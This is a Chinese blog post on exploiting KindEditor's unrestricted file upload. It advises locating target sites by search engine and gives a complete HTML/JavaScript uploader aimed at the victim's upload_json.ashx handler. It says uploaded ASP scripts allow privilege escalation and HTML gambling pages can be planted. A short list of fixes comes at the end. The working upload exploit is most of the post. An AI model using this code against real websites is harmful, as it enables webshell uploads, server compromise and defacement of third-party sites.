利用KindEditor漏洞上传网马

最新推荐文章于 2025-03-14 16:19:13 发布

二月十六

最新推荐文章于 2025-03-14 16:19:13 发布

阅读量1w

点赞数

分类专栏： kindeditor漏洞文章标签： kindeditor漏洞

本文链接：https://blog.csdn.net/sinat_28984567/article/details/94303196

版权

kindeditor漏洞专栏收录该内容

1 篇文章

订阅专栏

KindEditor是常用的富文本编辑器，里边有上传的功能，如果上传文件类型控制的不好，可能就会给网站带来安全问题，比如上传了网马，可能对我们的服务器就造成了伤害。

首先通过搜索引擎查到使用kindeditor的位置，比如http://xxxx/editor/ ，然后编写上传文件代码，例如：

<html>
<head>
    <title>kindeditor exploit</title>
    <script src="~/Content/editor/kindeditor-min.js"></script>
    <script>
        KindEditor.ready(function (K) {
            var uploadbutton = K.uploadbutton({
                button: K('#uploadButton')[0],
                fieldName: 'imgFile',
                url: 'http://xxxx/editor/asp.net/upload_json.ashx?dir=file',
                afterUpload: function (data) {
                    if (data.error === 0) {
                        var url = K.formatUrl(data.url, 'absolute');
                        K('#url').val(url);
                    }
                },
            });
            uploadbutton.fileBox.change(function (e) {
                uploadbutton.submit();
            });

        });

    </script>
</head>
<body>

    <div class="upload">
        <input type="button" id="uploadButton" value="Upload" />
    </div>
</body>
</html>

效果如下：

选择测试文件：

我们可以看到文件已经上传了，然后浏览器输入文件路径地址，就可以看到上传的文件内容了，如果可以上传asp等可执行脚本文件，就可以提权了，即使上传html等博彩页面也很让人难受。

解决办法就是控制上传文件类型，设置文件夹权限，不能执行，只能读取等。具体如下：
1、删除Kindeditor对应文件夹下的demo.aspx;
2、修改file_manager_json和upload_json中允许文件上传类型，去掉可执行文件、html、htm等文件类型；
3、修改file_manager_json和upload_json两个文件名称，全局搜索两个文件名并对应修改程序调用名称。